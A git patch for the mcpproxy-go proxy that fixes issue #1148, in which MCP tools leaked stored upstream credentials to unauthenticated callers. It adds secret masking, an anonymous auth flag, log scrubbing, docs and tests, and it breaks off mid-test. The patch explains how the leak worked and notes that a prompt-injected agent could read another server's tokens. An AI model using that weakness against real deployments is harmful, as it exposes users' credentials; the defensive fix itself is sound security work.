From 62c01ba767789c876db97a3aee7d5ce8f5873fd7 Mon Sep 17 00:00:00 2001 From: Algis Dumbris Date: Tue, 1 Sep 2026 06:46:07 +0300 Subject: [PATCH 01/10] fix(security): mask secrets on MCP server payloads and stop nil/anonymous auth revealing them (#1148) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit `quarantine_security list_quarantined` json.Marshal'd the raw []*config.ServerConfig from storage, so every credential the struct carries left through the MCP surface in the clear — and /mcp is unprotected by default, so any caller could read them. The leak was wider than reported: env values, header values, oauth.client_secret, URL query credentials AND argv tokens. The response was then recorded verbatim into the activity store (BBolt, SSE, `activity list`). Redacted view (a): New internal/server/mcp_server_view.go builds MCP-facing server payloads by walking the config's OWN JSON through the shared redaction walker from #1149, not from a hand-written key list — so the next field added to ServerConfig is masked by default rather than leaked by default. The walker is now policy-driven: live surfaces render with oauth.MaskValue, persisted ones with oauth.AuditMaskValue. Env, header and URL leaves deliberately reproduce internal/oauth's own rendering byte for byte on live surfaces, because UnmaskEnvValues/UnmaskHeaders/UnmaskURL recognise an echoed mask by that exact string; rendering them any other way would make a read-modify-write client persist the mask over the real secret. Every other leaf — argv tokens and any future field — is detector-masked unconditionally. argv had no unmask contract, so one is added (unmaskArgv) alongside masking it. Auth gate (b): The gate read `authCtx != nil && !authCtx.IsAdmin()`, so absence of a token passed where a scoped agent token failed. The real path is narrower than "nil is admin": mcpAuthMiddleware deliberately installs an admin context for unauthenticated /mcp back-compat. That upgrade stays — it is why unauthenticated MCP clients work — but the context is now marked Anonymous, and the new nil-safe CanRevealSecrets() distinguishes it from an authenticated admin. Its single consumer is `reveal_secret_headers`. stdio now installs an explicit admin context instead of relying on nil. Behaviour change, exhaustively: list_quarantined is masked for everyone; reveal_secret_headers:true returns raw values only to an API-key/agent admin, a tray socket connection, or stdio; tail_log lines and connection_message strings are scrubbed; activity rows for both management built-ins record the audit-masked response. NOT changed: ordinary tool calls, retrieve_tools, add/update/patch/ enable/disable/restart and every quarantine approval still work for an unauthenticated /mcp session. The REST API is untouched. Sibling paths (c): - upstream_servers list: reveal gate above; argv now masked; the projection is sourced from the view so it cannot drift. - tail_log: lines and connection_status.last_error scrubbed. Fixed at the source too — Connect() logged the raw upstream URL into server-.log on every attempt (logSafeURL). - connection errors: the three unscrubbed sites in monitorConnectionStatus / handleUpdateUpstream now use the same scrubUpstreamText as the list path's last_error. - add_from_registry summary: url and args from the view. - inspect_quarantined: verified safe — it emits tool analysis only, never the server config. Unchanged. --- docs/api/rest-api.md | 5 + docs/configuration/upstream-servers.md | 16 + internal/auth/context.go | 45 ++ internal/auth/context_test.go | 34 ++ internal/server/mcp.go | 108 +++-- internal/server/mcp_activity_args.go | 161 ++++++-- internal/server/mcp_auth_anonymous_test.go | 115 ++++++ internal/server/mcp_secret_redaction_test.go | 388 ++++++++++++++++++ internal/server/mcp_server_view.go | 231 +++++++++++ internal/server/server.go | 41 +- internal/upstream/core/connection.go | 25 +- internal/upstream/core/connection_launcher.go | 4 +- internal/upstream/core/connection_oauth.go | 6 +- .../core/connection_url_redact_test.go | 48 +++ 14 files changed, 1151 insertions(+), 76 deletions(-) create mode 100644 internal/server/mcp_auth_anonymous_test.go create mode 100644 internal/server/mcp_secret_redaction_test.go create mode 100644 internal/server/mcp_server_view.go create mode 100644 internal/upstream/core/connection_url_redact_test.go diff --git a/docs/api/rest-api.md b/docs/api/rest-api.md index 45d071c11..dd4d17dd4 100644 --- a/docs/api/rest-api.md +++ b/docs/api/rest-api.md @@ -152,6 +152,11 @@ preserved) and the [`config-to-secret`](#post-apiv1serversnameconfig-to-secret) endpoint reads the real value server-side. Flip the flag only if you need to inspect a raw value through the API for debugging. +On the MCP channel the flag also requires an **authenticated** caller +(issue #1148): an unauthenticated `/mcp` client is admin only for backward +compatibility, and gets the masked values regardless of the flag. The REST +API always requires an API key, so it is unaffected. + The MCP `upstream_servers` tool was the original motivator for redaction (see [PR #425](https://github.com/smart-mcp-proxy/mcpproxy-go/pull/425)) — a prompt-injected agent could otherwise read another upstream's PAT via diff --git a/docs/configuration/upstream-servers.md b/docs/configuration/upstream-servers.md index 722946c18..e16dae2bc 100644 --- a/docs/configuration/upstream-servers.md +++ b/docs/configuration/upstream-servers.md @@ -146,6 +146,22 @@ To disable redaction (for debugging only), set `reveal_secret_headers: true` in `mcp_config.json`. **It's not normally needed**: the editing flow described below works without ever exposing the plaintext to the client. +Since v0.64 (issue #1148) the flag additionally requires an **authenticated** +caller. `/mcp` is deliberately unprotected by default +(`require_mcp_auth: false`), so an unauthenticated MCP client is treated as +admin for backward compatibility — but that is not an identity, and it no +longer satisfies a check that hands back raw credentials. With the flag on, +raw values are returned to a caller presenting the API key or an admin agent +token, to a tray/socket connection (authenticated by OS-level socket +permissions), and over stdio; an unauthenticated TCP `/mcp` caller gets the +masked values. Nothing else changes: every other operation an unauthenticated +MCP client can perform today still works. + +Argument vectors are masked too: a credential passed as `--api-key sk-…` in +`args` is masked by flag name and by value shape, and a masked argument echoed +back through `args_json` is reverted to the stored value rather than persisted +over it. + ### How you edit them #### Web UI / macOS tray diff --git a/internal/auth/context.go b/internal/auth/context.go index 036d01b93..0f6cd9129 100644 --- a/internal/auth/context.go +++ b/internal/auth/context.go @@ -25,6 +25,17 @@ type AuthContext struct { DisplayName string // User's display name Role string // "admin" or "user" (empty for API key / agent token auth) Provider string // OAuth provider used (e.g., "google", "github") + + // Anonymous marks a context that was NOT authenticated and only carries + // admin type for backward compatibility (issue #1148). + // + // /mcp is deliberately unprotected by default (require_mcp_auth=false) so + // MCP clients that cannot send an API key keep working, and the middleware + // therefore hands an unauthenticated request an admin context. That is + // fine for the operations those clients need — and it is NOT an identity, + // so it must not satisfy a check that hands back raw credentials. See + // CanRevealSecrets. + Anonymous bool } // contextKey is an unexported type used as context key to avoid collisions. @@ -106,6 +117,40 @@ func AdminContext() *AuthContext { } } +// AnonymousContext returns the back-compat admin context for an +// UNAUTHENTICATED MCP request (issue #1148). +// +// Type stays AuthTypeAdmin on purpose: every existing IsAdmin()-based +// allowance — ordinary tool calls, retrieve_tools, server add/update/patch, +// quarantine approvals — behaves exactly as it did, so no MCP client that +// works today stops working. The only thing the Anonymous bit changes is +// CanRevealSecrets. +func AnonymousContext() *AuthContext { + return &AuthContext{ + Type: AuthTypeAdmin, + Anonymous: true, + } +} + +// CanRevealSecrets reports whether this caller may be handed RAW credential +// values (issue #1148) — today, `upstream_servers list` under the opt-in +// `reveal_secret_headers` flag. +// +// It is deliberately stricter than IsAdmin and deliberately nil-safe: +// +// - an unauthenticated /mcp caller is admin for back-compat but has proved no +// identity, so it gets masked values like everyone else; +// - a nil context (the stdio transport before it installs one, an in-process +// caller, a test) is unprivileged rather than admin-by-absence — the +// opposite of the `authCtx != nil && !authCtx.IsAdmin()` shape, which lets +// the ABSENCE of a token pass a gate that a scoped token fails. +// +// Authenticated admins — the API key, a tray/socket connection, stdio, an +// OAuth admin user in the server edition — are unaffected. +func (ac *AuthContext) CanRevealSecrets() bool { + return ac != nil && ac.IsAdmin() && !ac.Anonymous +} + // UserContext returns an AuthContext for a regular OAuth-authenticated user. func UserContext(userID, email, displayName, provider string) *AuthContext { return &AuthContext{ diff --git a/internal/auth/context_test.go b/internal/auth/context_test.go index 4bc89243b..679800d50 100644 --- a/internal/auth/context_test.go +++ b/internal/auth/context_test.go @@ -310,3 +310,37 @@ func TestUserContext_NoImplicitAccess(t *testing.T) { assert.False(t, ac.CanAccessServer("github")) assert.False(t, ac.HasPermission(PermRead)) } + +// TestAnonymousContext_CanRevealSecrets pins the distinction issue #1148 turns +// on: an unauthenticated /mcp caller is still treated as admin for every +// operation that worked before (that back-compat is deliberate), but it is NOT +// an identity, so it cannot ask for raw secrets. A nil context — the stdio +// transport before it installs one, an in-process caller, a test — must fail +// the same way rather than inheriting admin by absence. +func TestAnonymousContext_CanRevealSecrets(t *testing.T) { + anon := AnonymousContext() + if !anon.IsAdmin() { + t.Fatal("AnonymousContext must stay admin so existing unauthenticated MCP operations keep working") + } + if anon.CanRevealSecrets() { + t.Error("anonymous caller must not be allowed to reveal secrets") + } + + if !AdminContext().CanRevealSecrets() { + t.Error("an authenticated admin must still be allowed to reveal secrets") + } + + var nilCtx *AuthContext + if nilCtx.CanRevealSecrets() { + t.Error("a nil auth context must not be treated as a secret-revealing admin") + } + + agent := &AuthContext{Type: AuthTypeAgent, AgentName: "bot", AllowedServers: []string{"*"}} + if agent.CanRevealSecrets() { + t.Error("agent tokens must not be allowed to reveal secrets") + } + + if !AdminUserContext("u1", "a@b.c", "A", "google").CanRevealSecrets() { + t.Error("an OAuth-authenticated admin user must be allowed to reveal secrets") + } +} diff --git a/internal/server/mcp.go b/internal/server/mcp.go index 61496b5ec..9b5b91b2d 100644 --- a/internal/server/mcp.go +++ b/internal/server/mcp.go @@ -3258,12 +3258,17 @@ func (p *MCPProxyServer) handleAddServerFromRegistry(ctx context.Context, reques // Slim, stable projection mirroring the REST AddedServerSummary so every // surface reports the persisted server identically. + // Issue #1148: URL and Args are the two credential-bearing fields of this + // summary (a registry entry can carry `?token=…`, and a user-supplied arg + // vector routinely carries `--api-key …`). Source them from the redacted + // view so the echo cannot republish what the caller just configured. + registryView := redactedServerView(cfg, liveRedaction) summary := contracts.AddedServerSummary{ Name: cfg.Name, Protocol: cfg.Protocol, Command: cfg.Command, - Args: cfg.Args, - URL: cfg.URL, + Args: redactedArgs(cfg.Args, liveRedaction), + URL: viewString(registryView, "url", cfg.URL), Enabled: cfg.Enabled, Quarantined: cfg.Quarantined, } @@ -3415,9 +3420,14 @@ func (p *MCPProxyServer) handleUpstreamServers(ctx context.Context, request mcp. if responseText != "" { errMsg = responseText } - p.emitActivityInternalToolCall("upstream_servers", targetServer, "", "", sessionID, requestID, "error", errMsg, time.Since(startTime).Milliseconds(), args, nil, nil, "") + p.emitActivityInternalToolCall("upstream_servers", targetServer, "", "", sessionID, requestID, "error", scrubUpstreamText(errMsg), time.Since(startTime).Milliseconds(), args, nil, nil, "") } else { - p.emitActivityInternalToolCall("upstream_servers", targetServer, "", "", sessionID, requestID, "success", "", time.Since(startTime).Milliseconds(), args, responseText, nil, "") + // Issue #1148: the activity store persists in BBolt, streams over SSE + // and is exported by `mcpproxy activity list`, so the response is + // re-rendered under the AUDIT policy (a fixed marker carrying neither + // the secret's length nor its trailing bytes). One net here covers + // every current and future operation of this built-in. + p.emitActivityInternalToolCall("upstream_servers", targetServer, "", "", sessionID, requestID, "success", "", time.Since(startTime).Milliseconds(), args, redactBuiltinResponseForActivity(responseText), nil, "") } return result, opErr @@ -3528,9 +3538,10 @@ func (p *MCPProxyServer) handleQuarantineSecurity(ctx context.Context, request m if responseText != "" { errMsg = responseText } - p.emitActivityInternalToolCall("quarantine_security", targetServer, "", "", sessionID, requestID, "error", errMsg, time.Since(startTime).Milliseconds(), args, nil, nil, "") + p.emitActivityInternalToolCall("quarantine_security", targetServer, "", "", sessionID, requestID, "error", scrubUpstreamText(errMsg), time.Since(startTime).Milliseconds(), args, nil, nil, "") } else { - p.emitActivityInternalToolCall("quarantine_security", targetServer, "", "", sessionID, requestID, "success", "", time.Since(startTime).Milliseconds(), args, responseText, nil, "") + // Issue #1148: see the matching net in handleUpstreamServers. + p.emitActivityInternalToolCall("quarantine_security", targetServer, "", "", sessionID, requestID, "success", "", time.Since(startTime).Milliseconds(), args, redactBuiltinResponseForActivity(responseText), nil, "") } return result, opErr @@ -3748,27 +3759,43 @@ func (p *MCPProxyServer) handleListUpstreams(ctx context.Context) (*mcp.CallTool // Enhance server list with connection status and Docker isolation info enhancedServers := make([]map[string]interface{}, len(servers)) - revealHeaders := p.config != nil && p.config.RevealSecretHeaders + // Redact sensitive header values (Authorization, X-API-Key, Cookie, etc.), + // env-var secrets, URL query credentials and argv tokens before surfacing + // them through the MCP tool. An MCP agent inside a sandbox should never be + // able to read another upstream's Bearer token, API key, or URL-embedded + // secret via `upstream_servers list`. + // + // Issue #1148: `reveal_secret_headers` is an operator opt-in for a TRUSTED + // read surface, so it now additionally requires an AUTHENTICATED admin. + // /mcp is unprotected by default, so before this an anonymous caller on + // that endpoint got the raw values the flag was meant to hand the + // operator. CanRevealSecrets is nil-safe: an in-process/stdio caller with + // no context gets masked values rather than admin-by-absence. + revealHeaders := p.config != nil && p.config.RevealSecretHeaders && + auth.AuthContextFromContext(ctx).CanRevealSecrets() for i, server := range servers { - // Redact sensitive header values (Authorization, X-API-Key, Cookie, - // etc.), env-var secrets, and URL query credentials before surfacing - // them through the MCP tool. An MCP agent inside a sandbox should - // never be able to read another upstream's Bearer token, API key, or - // URL-embedded secret via `upstream_servers list`. Operators who - // genuinely need the raw values can set `reveal_secret_headers: true`. - headers := server.Headers - serverURL := server.URL - serverEnv := server.Env + // The secret-bearing fields are sourced from redactedServerView — the + // shared walker over the config's own JSON — rather than from a + // per-field redactor call, so this projection cannot drift from the + // one `list_quarantined` uses. viewField falls back to the raw value + // only for keys ServerConfig omits when empty, which keeps the + // response shape byte-identical to before. + view := redactedServerView(server, liveRedaction) + headers := interface{}(server.Headers) + serverURL := interface{}(server.URL) + serverEnv := interface{}(server.Env) + serverArgs := interface{}(server.Args) if !revealHeaders { - headers = oauth.RedactStringHeaders(server.Headers) - serverEnv = oauth.RedactEnvValues(server.Env) - serverURL = oauth.RedactURLQueryParams(server.URL) + headers = viewField(view, "headers", server.Headers) + serverEnv = viewField(view, "env", server.Env) + serverURL = viewField(view, "url", server.URL) + serverArgs = redactedArgs(server.Args, liveRedaction) } serverMap := map[string]interface{}{ "name": server.Name, "protocol": server.Protocol, "command": server.Command, - "args": server.Args, + "args": serverArgs, "url": serverURL, "env": serverEnv, "headers": headers, @@ -3803,7 +3830,7 @@ func (p *MCPProxyServer) handleListUpstreams(ctx context.Context) (*mcp.CallTool // all) is commonly echoed into the error; scrub it before it // reaches connection_status.last_error and health.detail. if !revealHeaders { - lastError = oauth.RedactSensitiveData(lastError) + lastError = scrubUpstreamText(lastError) } } isConnected = connInfo.State.String() == "connected" @@ -4218,7 +4245,16 @@ func (p *MCPProxyServer) handleListQuarantinedUpstreams(ctx context.Context) (*m } jsonResult, err := json.Marshal(map[string]interface{}{ - "servers": servers, + // Issue #1148: this used to marshal the raw []*config.ServerConfig, so + // env values, header values, oauth.client_secret, URL query + // credentials and argv tokens all left through the MCP surface in the + // clear — to any caller, /mcp being unauthenticated by default — and + // were recorded verbatim into the activity store. + // + // The full (masked) config is still the right payload here: the point + // of inspecting a quarantined server is to see HOW it is configured, + // including WHICH secrets it carries. Only the values go. + "servers": redactedServerViews(servers, liveRedaction), "total": len(servers), // One line per server so "nobody ever scanned this" is visible right // here, next to the decision it should inform. @@ -5004,7 +5040,7 @@ func (p *MCPProxyServer) handleUpdateUpstream(ctx context.Context, request mcp.C if err := p.upstreamManager.AddServer(serverID, mergedServer); err != nil { p.logger.Warn("Failed to connect to updated upstream", zap.String("id", serverID), zap.Error(err)) connectionStatus = statusError - connectionMessage = fmt.Sprintf("Failed to update server config: %v", err) + connectionMessage = scrubUpstreamText(fmt.Sprintf("Failed to update server config: %v", err)) } else { // Monitor connection status for 1 minute connectionStatus, connectionMessage = p.monitorConnectionStatus(ctx, name, 1*time.Minute) @@ -5214,7 +5250,12 @@ func (p *MCPProxyServer) buildPatchConfigFromRequest(request mcp.CallToolRequest if err := json.Unmarshal([]byte(argsJSON), &args); err != nil { return nil, opts, fmt.Errorf("invalid args_json format: %v", err) } - patch.Args = args + // #1148: the read path masks credential-shaped argv tokens; restore + // any the caller echoed back masked, so the mask is never persisted + // over the real value (parity with the env/header/url unmaskers). + // args_json REPLACES the vector, so an unedited echo of a masked list + // would otherwise wipe the credential. + patch.Args = unmaskArgv(args, existingServer.Args) } // Handle env JSON string - maps are deep merged with RFC 7396 null-means-remove @@ -5566,7 +5607,13 @@ func (p *MCPProxyServer) handleTailLog(_ context.Context, request mcp.CallToolRe "server_name": name, "lines_requested": lines, "lines_returned": len(logLines), - "log_lines": logLines, + // Issue #1148 (c2): the per-server log is written by mcpproxy AND by + // the child process, and both put credentials in it — the connection + // logger records the upstream URL with its `?token=…`, and an MCP + // server is free to print its own API key. Scrub every line before it + // leaves through the tool response and is recorded into the activity + // store. + "log_lines": scrubUpstreamLines(logLines), "server_status": map[string]interface{}{ "enabled": serverConfig.Enabled, "quarantined": serverConfig.Quarantined, @@ -5576,6 +5623,10 @@ func (p *MCPProxyServer) handleTailLog(_ context.Context, request mcp.CallToolRe // Add connection status if available if client, exists := p.upstreamManager.GetClient(name); exists { connectionStatus := client.GetConnectionStatus() + // last_error commonly echoes the upstream URL, credentials included. + if lastError, ok := connectionStatus["last_error"].(string); ok { + connectionStatus["last_error"] = scrubUpstreamText(lastError) + } result["connection_status"] = connectionStatus } @@ -5854,12 +5905,15 @@ func (p *MCPProxyServer) monitorConnectionStatus(ctx context.Context, serverName case types.StateReady: return "ready", "Server connected and ready" case types.StateError: - return "error", fmt.Sprintf("Server connection failed: %v", connectionInfo.LastError) + // Issue #1148 (c3): scrubbed like the `last_error` this + // same string feeds in `upstream_servers list` — it lands + // in connection_message and in the activity record. + return "error", scrubUpstreamText(fmt.Sprintf("Server connection failed: %v", connectionInfo.LastError)) case types.StatePendingAuth: // Parked awaiting user login (#1013): waiting out the monitor // timeout would just stall the caller — nothing will change // until a human signs in. - return statusError, fmt.Sprintf("Server connection failed: %v", connectionInfo.LastError) + return statusError, scrubUpstreamText(fmt.Sprintf("Server connection failed: %v", connectionInfo.LastError)) case types.StateDisconnected: // If server is explicitly disconnected and enabled is false, return disabled for _, serverConfig := range p.config.Servers { diff --git a/internal/server/mcp_activity_args.go b/internal/server/mcp_activity_args.go index 926f256de..c4603d3af 100644 --- a/internal/server/mcp_activity_args.go +++ b/internal/server/mcp_activity_args.go @@ -279,43 +279,113 @@ func normalizeForRedaction(v interface{}) interface{} { return out } -// redactActivityValue walks a generic JSON value, masking leaves according to -// the key that encloses them. `key` is the enclosing field name (for a slice, -// the name of the slice itself). +// redactionPolicy is the pair of decisions that separate the two surfaces this +// walker serves (issue #1148). The RULES — which key names are sensitive, which +// values look like credentials, how argv pairs up — are shared; only the +// rendering and the length cap differ, so the two surfaces cannot drift on the +// part that decides what is a secret. +type redactionPolicy struct { + // mask renders one masked secret. + mask func(string) string + // limit caps each string leaf, or 0 for no cap. + limit int + // detectContractedLeaves runs the value-shaped secret detector over the + // THREE leaf kinds internal/oauth owns a write-path unmask contract for: + // env values, header values and the server URL. + // + // Those three must render EXACTLY as oauth.maskedEnvValue / + // maskedHeaderValue / RedactURLQueryParams do, because + // oauth.UnmaskEnvValues / UnmaskHeaders / UnmaskURL recognise an echoed + // mask by comparing against that rendering byte for byte. A live surface + // that rendered them any other way would make a read-modify-write client + // persist the mask OVER the real secret — so live surfaces turn this off + // and inherit oauth's coverage (which already includes + // RedactSensitiveData) for those three. + // + // Every OTHER leaf — argv tokens, and any present or future string field + // of ServerConfig — is detector-masked unconditionally: nothing unmasks + // those, so there is no contract to honour and maximal masking wins. + detectContractedLeaves bool +} + +// auditRedaction is the policy for anything PERSISTED or EXPORTED: the fixed +// `••••` marker (no length, no trailing bytes — see the file header) and the +// activity-store size cap. +var auditRedaction = redactionPolicy{mask: oauth.AuditMaskValue, limit: activityArgValueLimit, detectContractedLeaves: true} + +// liveRedaction is the policy for the LIVE MCP read surfaces (upstream_servers +// list, quarantine_security list_quarantined). +// +// It keeps oauth.MaskValue's `•••• ( chars)` rendering, and that is +// load-bearing rather than cosmetic: the patch/update path calls +// oauth.UnmaskURL / UnmaskEnvValues / UnmaskHeaders, which recognise exactly +// that rendering when a client echoes a value back. A read-modify-write agent +// that round-tripped an `••••` marker instead would OVERWRITE the real secret +// with the mask string. +// +// It does not cap: a truncated URL or arg is no longer equal to mask(stored), +// so the unmasker would write the truncation through. And it leaves the +// contracted leaves to oauth's own rendering — see detectContractedLeaves. +var liveRedaction = redactionPolicy{mask: oauth.MaskValue, limit: 0, detectContractedLeaves: false} + +// capString applies the policy's length cap, if any. +func (r redactionPolicy) capString(s string) string { + if r.limit <= 0 || len(s) <= r.limit { + return s + } + return s[:safeTruncateBytes(s, r.limit)] + activityErrorMessageEllipsis +} + +// redactActivityValue walks a generic JSON value under the audit policy. func redactActivityValue(key string, v interface{}) interface{} { + return redactValueWith(key, v, auditRedaction) +} + +// redactValueWith walks a generic JSON value, masking leaves according to the +// key that encloses them. `key` is the enclosing field name (for a slice, the +// name of the slice itself). +func redactValueWith(key string, v interface{}, r redactionPolicy) interface{} { switch typed := v.(type) { case map[string]interface{}: out := make(map[string]interface{}, len(typed)) isHeaders := isActivityHeadersKey(key) + isEnv := isActivityEnvKey(key) for k, val := range typed { - if isHeaders { - if s, ok := val.(string); ok { + if s, ok := val.(string); ok { + switch { + case isHeaders: // HTTP header semantics: mask by header name. - out[k] = redactActivityHeaderValue(k, s) + out[k] = redactHeaderValueWith(k, s, r) + continue + case isEnv: + // Environment-variable semantics: mask by var name, using + // oauth's own rendering so the write path can recognise an + // echoed mask. + out[k] = redactEnvValueWith(k, s, r) continue } } - out[k] = redactActivityValue(k, val) + out[k] = redactValueWith(k, val, r) } return out case []interface{}: if isActivityArgvKey(key) { - return redactActivityArgv(typed) + return redactArgvWith(typed, r) } out := make([]interface{}, len(typed)) for i, val := range typed { - out[i] = redactActivityValue(key, val) + out[i] = redactValueWith(key, val, r) } return out case string: - return redactActivityString(key, typed) + return redactStringWith(key, typed, r) default: // Bools, json.Number and nil carry no secrets and stay verbatim. return v } } -// redactActivityString masks one string leaf. The default policy is the env-var +// redactStringWith masks one string leaf. The default policy is the env-var // rule (oauth.RedactEnvValuesWith over a single pair), which is the package's // single source of truth for "does this key name look like it holds a secret": // it masks sensitive-looking keys, passes ${keyring:…}/${env:…} references @@ -333,20 +403,41 @@ func redactActivityValue(key string, v interface{}) interface{} { // through is then offered to the detector. A value the name rule already masked // is inert by the time the detector sees it. // -// The mask is oauth.AuditMaskValue, not oauth.MaskValue — see the file header. -func redactActivityString(key, s string) string { +// The mask is supplied by the policy — see redactionPolicy above and the file +// header for why the audit and live surfaces render differently. +func redactStringWith(key, s string, r redactionPolicy) string { switch { case isActivityHeadersKey(key): - return redactActivityHeaderValue(key, s) + return redactHeaderValueWith(key, s, r) case strings.EqualFold(key, "url"): - return capActivityValue(maskDetectedSecrets(oauth.RedactURLQueryParamsWith(s, oauth.AuditMaskValue))) + return r.capString(r.detectContracted(oauth.RedactURLQueryParamsWith(s, r.mask))) default: - named := oauth.RedactEnvValuesWith(map[string]string{key: s}, oauth.AuditMaskValue)[key] - return capActivityValue(maskDetectedSecrets(named)) + // An UNCONTRACTED leaf: a plain config field, a future field, or an + // argv token's value. Nothing unmasks these, so the detector always + // runs. + named := oauth.RedactEnvValuesWith(map[string]string{key: s}, r.mask)[key] + return r.capString(maskDetectedSecrets(named)) + } +} + +// redactEnvValueWith masks one environment-variable leaf, reproducing +// oauth.maskedEnvValue exactly so oauth.UnmaskEnvValues can recognise the +// rendering if a client echoes it back on the write path. +func redactEnvValueWith(name, value string, r redactionPolicy) string { + masked := oauth.RedactEnvValuesWith(map[string]string{name: value}, r.mask)[name] + return r.capString(r.detectContracted(masked)) +} + +// detectContracted runs the value-shaped detector only for a policy that opted +// in for the contracted leaves. See redactionPolicy.detectContractedLeaves. +func (r redactionPolicy) detectContracted(s string) string { + if !r.detectContractedLeaves { + return s } + return maskDetectedSecrets(s) } -// redactActivityHeaderValue masks one HTTP header leaf, judged by the header +// redactHeaderValueWith masks one HTTP header leaf, judged by the header // NAME first and then by the value's own shape. // // Both rules are needed and neither is sufficient. oauth's name matcher cannot @@ -355,9 +446,9 @@ func redactActivityString(key, s string) string { // `X-Zyx` holding a bearer token is still unknowable from the name); the // detector cannot recognise an opaque value with no credential shape. Running // both is the only combination that closes each other's gap. -func redactActivityHeaderValue(name, value string) string { - masked := oauth.RedactStringHeadersWith(map[string]string{name: value}, oauth.AuditMaskValue)[name] - return capActivityValue(maskDetectedSecrets(masked)) +func redactHeaderValueWith(name, value string, r redactionPolicy) string { + masked := oauth.RedactStringHeadersWith(map[string]string{name: value}, r.mask)[name] + return r.capString(r.detectContracted(masked)) } // redactActivityConfigValues redacts a flat before/after value map for a @@ -386,11 +477,11 @@ func isActivityArgvKey(key string) bool { return strings.EqualFold(key, "args") } -// redactActivityArgv masks a command-line argument vector. +// redactArgvWith masks a command-line argument vector. // // Issue #1146, review round: argv was the one leak the key-driven walker could // not see. An argv token has no enclosing key — the slice branch recursed with -// the PARENT key ("args"), so every element reached redactActivityString("args", +// the PARENT key ("args"), so every element reached redactStringWith("args", // elem) and fell through unmasked. Passing a credential as an argv token // (`uvx mcp-foo --api-key sk-live-…`) is one of the commonest MCP server config // shapes, so the record persisted in BBolt, the SSE payload and @@ -399,7 +490,7 @@ func isActivityArgvKey(key string) bool { // Two rules, because argv secrets announce themselves in two ways: // // - The FLAG names the credential — `--api-key VALUE` and `--api-key=VALUE`. -// Delegated to redactActivityString with the de-dashed flag as the key, so +// Delegated to redactStringWith with the de-dashed flag as the key, so // the same single source of truth the env map uses decides, and the flag // itself stays readable (it is the audit signal: WHICH credential moved). // - The VALUE is recognisably a credential on its own — an AWS key, a GitHub @@ -410,13 +501,13 @@ func isActivityArgvKey(key string) bool { // BOTH rules run on BOTH spellings. Round 3 found the inline form consulting // only the first: `--endpoint=ghp_…` names nothing sensitive, so nothing ever // looked at the value and the token was stored in the clear, while the -// identical `--endpoint ghp_…` was masked. redactActivityString now ends in the +// identical `--endpoint ghp_…` was masked. redactStringWith now ends in the // detector for every leaf, which is what keeps the two spellings in step by // construction rather than by two call sites remembering to agree. // // Everything else round-trips verbatim: package names, subcommands, paths and // ports are what make the record useful. -func redactActivityArgv(argv []interface{}) []interface{} { +func redactArgvWith(argv []interface{}, r redactionPolicy) []interface{} { out := make([]interface{}, len(argv)) maskNext := false @@ -425,23 +516,23 @@ func redactActivityArgv(argv []interface{}) []interface{} { if !ok { // A non-string element carries no flag semantics; walk it with no // enclosing key and reset the pairing. - out[i] = redactActivityValue("", item) + out[i] = redactValueWith("", item, r) maskNext = false continue } if maskNext { - out[i] = capActivityValue(oauth.AuditMaskValue(s)) + out[i] = r.capString(r.mask(s)) maskNext = false continue } if flag, value, inline := strings.Cut(s, "="); inline && isArgvFlag(flag) { - out[i] = capActivityValue(flag + "=" + redactActivityString(argvFlagKey(flag), value)) + out[i] = r.capString(flag + "=" + redactStringWith(argvFlagKey(flag), value, r)) continue } - out[i] = capActivityValue(maskDetectedSecrets(s)) + out[i] = r.capString(maskDetectedSecrets(s)) maskNext = isArgvFlag(s) && oauth.IsSensitiveKeyName(argvFlagKey(s)) } @@ -486,9 +577,9 @@ func isActivityHeadersKey(key string) bool { return strings.EqualFold(key, "headers") } -func capActivityValue(s string) string { - if len(s) <= activityArgValueLimit { - return s - } - return s[:safeTruncateBytes(s, activityArgValueLimit)] + activityErrorMessageEllipsis +// isActivityEnvKey reports whether a map should be masked with +// environment-variable semantics. Covers both the `env` config field and the +// `env_json` tool parameter (the suffix is trimmed before the walk). +func isActivityEnvKey(key string) bool { + return strings.EqualFold(key, "env") } diff --git a/internal/server/mcp_auth_anonymous_test.go b/internal/server/mcp_auth_anonymous_test.go new file mode 100644 index 000000000..418dd946c --- /dev/null +++ b/internal/server/mcp_auth_anonymous_test.go @@ -0,0 +1,115 @@ +package server + +import ( + "net/http" + "net/http/httptest" + "testing" + + "github.com/stretchr/testify/require" + "go.uber.org/zap" + + "github.com/smart-mcp-proxy/mcpproxy-go/internal/auth" + "github.com/smart-mcp-proxy/mcpproxy-go/internal/config" + "github.com/smart-mcp-proxy/mcpproxy-go/internal/transport" +) + +func newAuthMiddlewareTestServer(t *testing.T, apiKey string) *Server { + t.Helper() + + cfg := config.DefaultConfig() + cfg.DataDir = t.TempDir() + cfg.Listen = "127.0.0.1:0" + cfg.APIKey = apiKey + + srv, err := NewServer(cfg, zap.NewNop()) + require.NoError(t, err) + t.Cleanup(func() { _ = srv.Shutdown() }) + return srv +} + +// captureAuthContext runs one request through mcpAuthMiddleware and returns the +// AuthContext the downstream handler saw. +func captureAuthContext(t *testing.T, srv *Server, req *http.Request) (*auth.AuthContext, int) { + t.Helper() + + var seen *auth.AuthContext + handler := srv.mcpAuthMiddleware(http.HandlerFunc(func(_ http.ResponseWriter, r *http.Request) { + seen = auth.AuthContextFromContext(r.Context()) + })) + rec := httptest.NewRecorder() + handler.ServeHTTP(rec, req) + return seen, rec.Code +} + +// TestMCPAuthMiddleware_AnonymousVsAuthenticated is the (b) half of issue +// #1148. The middleware upgrades an unauthenticated /mcp request to admin for +// backward compatibility — that stays — but the resulting context must now +// declare that it is anonymous, so a secret-revealing operation can tell the +// two apart. Authenticated callers (API key, tray socket) must be unaffected. +func TestMCPAuthMiddleware_AnonymousVsAuthenticated(t *testing.T) { + const apiKey = "test-api-key-1148" + srv := newAuthMiddlewareTestServer(t, apiKey) + + t.Run("unauthenticated TCP is anonymous admin", func(t *testing.T) { + ctx, code := captureAuthContext(t, srv, httptest.NewRequest(http.MethodPost, "/mcp", http.NoBody)) + require.Equal(t, http.StatusOK, code) + require.NotNil(t, ctx) + require.True(t, ctx.IsAdmin(), "back-compat: unauthenticated MCP clients must keep admin behaviour") + require.True(t, ctx.Anonymous, "unauthenticated caller must be marked anonymous") + require.False(t, ctx.CanRevealSecrets()) + }) + + t.Run("valid API key is a real admin", func(t *testing.T) { + req := httptest.NewRequest(http.MethodPost, "/mcp", http.NoBody) + req.Header.Set("X-API-Key", apiKey) + ctx, code := captureAuthContext(t, srv, req) + require.Equal(t, http.StatusOK, code) + require.NotNil(t, 